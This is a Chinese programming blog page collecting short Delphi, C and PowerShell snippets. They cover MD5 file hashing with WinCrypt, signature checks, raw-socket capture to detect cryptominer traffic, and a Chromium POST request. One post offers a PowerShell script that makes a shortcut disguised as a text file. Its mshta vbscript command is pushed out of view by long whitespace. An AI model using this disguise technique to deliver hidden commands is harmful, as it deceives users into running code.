分类 编程 下的文章

Delphi 使用Windows API(WinCrypt)计算文件MD5哈希,支持大文件

Delphi_WinApi_GetFileHash4MD5.jpg/


Delphi 默认没有WinCrypt相关函数的定义所以引用JwaWinCrypt{jedi-apilib}单元

将 CryptCreateHash(hProv, CALG_MD5,0, 0, hHash)中的参数CALG_MD5

修改为CALG_SHA1即为计算SHA1哈希 值得注意的时CALG_SHA_256,CALG_SHA_384,CALG_SHA_512

着三个算法是在Windows XP SP3才开始支持的  XP SP2~ Win2000是不支持的!!


program Project2;

{$APPTYPE CONSOLE}

uses
  Winapi.Windows,
  System.SysUtils,
  System.Classes,
  System.Math,
  JwaWinCrypt;


Function GetFileSizeEx(hFile: THandle; Var lpFileSizeHigh :UInt64):Boolean; stdcall; external kernel32 name 'GetFileSizeEx';


Function GetFileHash4Md5(FileDirectory :PChar):String;
Const
  Buffer_Threshold = 1024 * 1024;
Label OnFail;
Var
  hFile      :THandle;
  hMapFile   :THandle;
  dwFileSize :UInt64;
  dwFileSizeH:DWORD;

  hProv      :HCRYPTPROV;
  hHash      :HCRYPTHASH;
  iIndex     :UInt64;
  dwBufSize  :DWORD;
  lpBuffer   :PByte;

  lpHash     :Array [0..MAXCHAR] Of Byte;
  dwHashLen  :DWORD;
  szHash     :Array [0..MAXCHAR] Of Char;
begin
  Writeln('文件:', FileDirectory);
  Result   := '';
  lpBuffer := Nil;
  hMapFile := INVALID_HANDLE_VALUE;
  hFile    := CreateFile(FileDirectory, GENERIC_READ, FILE_SHARE_READ, Nil,OPEN_EXISTING, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then
  begin
    Writeln('CreateFile Error, ErrorCode:', GetLastError);
    Goto OnFail;
  end;

  if Not GetFileSizeEx(hFile, dwFileSize) then
  begin
    Writeln('GetFileSizeEx Error, ErrorCode:', GetLastError);
    Goto OnFail;
  end;
  Writeln('大小:', dwFileSize, ' 字节');

  hMapFile := CreateFileMapping(hFile, Nil, PAGE_READONLY, 0, 0, Nil);
  if hMapFile = INVALID_HANDLE_VALUE then
  begin
    Writeln('CreateFileMapping Error, ErrorCode:', GetLastError);
    Goto OnFail;
  end;

  if Not CryptAcquireContext(hProv, Nil, Nil, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT Or CRYPT_MACHINE_KEYSET) Then
  begin
    Writeln('CryptAcquireContext Error, ErrorCode:', GetLastError);
    Goto OnFail;
  end;

  if Not CryptCreateHash(hProv, CALG_MD5,0, 0, hHash) Then
  begin
    Writeln('CryptCreateHash Error, ErrorCode:', GetLastError);
    Goto OnFail;
  end;

  iIndex := 0;
  while iIndex < dwFileSize do
  begin
    dwBufSize := Min(dwFileSize - iIndex, Buffer_Threshold);
    lpBuffer  := MapViewOfFile(hMapFile, FILE_MAP_READ, Int64Rec(iIndex).Hi, Int64Rec(iIndex).Lo, dwBufSize);
    if lpBuffer = Nil then
    begin
      Writeln('MapViewOfFile Error, ErrorCode:', GetLastError);
      Goto OnFail;
    end;

    if Not CryptHashData(hHash, lpBuffer, dwBufSize, 0) then
    begin
      Writeln('CryptHashData Error, ErrorCode:', GetLastError);
      Goto OnFail;
    end;

    UnmapViewOfFile(lpBuffer);
    Inc(iIndex, Buffer_Threshold);
  end;

  dwBufSize := SizeOf(DWORD);
  dwHashLen := 0;
  if CryptGetHashParam(hHash, HP_HASHSIZE, @dwHashLen, dwBufSize, 0) then
  begin
    ZeroMemory(@lpHash, SizeOf(lpHash));
    if CryptGetHashParam(hHash, HP_HASHVAL, @lpHash, dwHashLen, 0) Then
    begin
      for dwFileSizeH := 0 to dwHashLen-1 do
      begin
        wsprintf(@szHash, '%s%02x', szHash, lpHash[dwFileSizeH]);
      end;
      Writeln('MD5:', String(szHash));
    end Else
    begin
      Writeln('Error getting hash value, ErrorCode:', GetLastError);
      Goto OnFail;
    end;  
  end Else
  begin
    Writeln('Error getting hash length value, ErrorCode:', GetLastError);
    Goto OnFail;
  end;

OnFail:
  CryptDestroyHash(hHash);
  CryptReleaseContext(hProv, 0);
  UnmapViewOfFile(lpBuffer);
  CloseHandle(hFile);
  CloseHandle(hMapFile);
end;


begin
  GetFileHash4Md5('E:\ISO\cn_windows_server_2016_updated_feb_2018_x64_dvd_11636703.iso');
  Readln;
end.


Delphi 检测文件数字签名

Uses Winapi.Windows, JwaSoftpub, CAPICOM_TLB, JwaWintrust;

Function IsCodeSigned(const Filename:String):Boolean;
var
  FileInfo   :TWinTrustFileInfo;
  TrustData  :TWinTrustData;
begin
  ZeroMemory(@FileInfo, SizeOf(TWintrustFileInfo));
  ZeroMemory(@TrustData, SizeOf(TWinTrustData));
  FileInfo.cbStruct             := SizeOf(TWintrustFileInfo);
  FileInfo.pcwszFilePath        := PWideChar(FileName);
  TrustData.cbStruct            := sizeof(TrustData);
  TrustData.dwUIChoice          := WTD_UI_NONE;
  TrustData.fdwRevocationChecks := WTD_REVOKE_NONE;
  TrustData.dwUnionChoice       := WTD_CHOICE_FILE;
  TrustData.InfoUnion.pFile     := @FileInfo;
  Result := WinVerifyTrust(INVALID_HANDLE_VALUE, WINTRUST_ACTION_GENERIC_VERIFY_V2, TrustData) = ERROR_SUCCESS;
end;

lnk的一个玩法。

$Shell = New-Object -ComObject WScript.Shell
$Dir = Split-Path -Parent $MyInvocation.MyCommand.Definition
$Shortcut = $Shell.CreateShortcut("$Dir\test.txt.lnk")
$Shortcut.TargetPath = "%Windir%\System32\mshta.exe"
$Shortcut.IconLocation = "shell32.dll,70"
$Shortcut.Arguments ='                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               vbscript:CreateObject("WScript.Shell").Run("cmd.exe",5)(window.close)'

$Shortcut.Save()



保存为.ps1然后用PowerShell运行

生成一个test.lnk 图标样式为txt

利用SIO_RCVALL捕获数据来简单查找挖矿木马

只做简单得技术研究,不保证百分百好用。

WSAStartup(MAKEWORD(2, 2), &wsa);
hSniffer = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

LocalAddr.sin_family = AF_INET;
LocalAddr.sin_port = 0;
LocalAddr.sin_addr.s_addr = INADDR_NONE;
bind(hSniffer, (struct sockaddr *)&LocalAddr, sizeof(sockaddr_in));
//初始化并绑定Socket举报到本机IP

DWORD sioarg = 1;
DWORD dwValue = 0;
WSAIoctl(hSniffer, SIO_RCVALL, &sioarg, sizeof(DWORD), 0, 0, (LPDWORD)&dwValue, 0, 0);
//使用SIO_RCVALL命令开始捕获

char *Buffer = (char *)malloc(65536);
IPV4_HDR *IPHeader;
TCP_HDR *TCPHeader;
char *lpszStr;

recvfrom(hSniffer, Buffer, 65536, 0, 0, 0);
IPHeader = (IPV4_HDR *)Buffer;
if (IPHeader->ip_protocol == 6) { //判断是否是TCP协议
    TCPHeader = (TCP_HDR*)(Buffer + IPHeader->ip_header_len * 4); //计算偏移定位TCP头
    lpszStr = (char *)(TCPHeader + iLen + TCPHeader->data_offset * 4); //计算数据包得偏移地址
}

//lpszStr 即为TCP数据包得内容

然后挖矿程序得数据包一般为以下格式(注:不保证完全):

{"jsonrpc":"2.0","method":"job","params":{"blob":"01009580fdd4055331f01c7f3a7c15f1d88ae82f82a862e88f854856bc05758100696a96c7475300000000522ab3a142b4935c04121364c53b36266999330985c21c61f234ffd0cdcbbe1e01","job_id":"771459633298218","target":"d8a30200"}}


{"id":3396,"jsonrpc":"2.0","method":"submit","params":{"id":"399161462602205","job_id":"794963340135291","nonce":"74a999d9","result":"13e887bf1e58ad20337f8da518d7abebcc449d754db036bbcfbe4ac9ca0a0000"}}


{"method": "submit", "params": {"id": "341404656460508", "job_id": "771459633298218", "nonce": "ef430500", "result": "4290fef7f43c544c2baebeaa6ce1a459f29cb03afef69517f33acf64237d0200"}, "id":4}


{"id":4,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}


通过提取关键字来与捕获得TCP数据包内容进行匹配,当数据包中存在以上固定特征后,可通过IPV4头以及TCP协议头中的IP地址字段及端口字段在GetExtendedTcpTable获取到得TCP链接状态链表中查找,pTcpTable->table[?].dwOwningPid 即为相关进程得PID。



另外如果是挖矿程序作者原版得程序一般都会有命令行参数或者在EXE同目录存在config.json文件,我们也可以通过获取进程命令行参数来加以判断。

Chromium Post

var
  Header: ICefStringMultimap;
  Data: ICefPostData;
  Request: ICefRequest;begin
  Request := TCefRequestRef.New;
  Request.Url := 'http://example.com/';
  Request.Method := 'POST';
  Request.Flags := WUR_FLAG_NONE;

  Header := TCefStringMultimapOwn.Create;
  Header.Append('Content-Type', 'application/x-www-form-urlencoded');
  Request.SetHeaderMap(Header);

  Data := TCefPostDataRef.New;
  Data.AddElement(CreateField('Data.id=27'));
  Data.AddElement(CreateField('&Data.title=title'));
  Data.AddElement(CreateField('&Data.body=body'));
  Request.PostData := Data;

  Chromium1.Browser.MainFrame.LoadRequest(Request);end;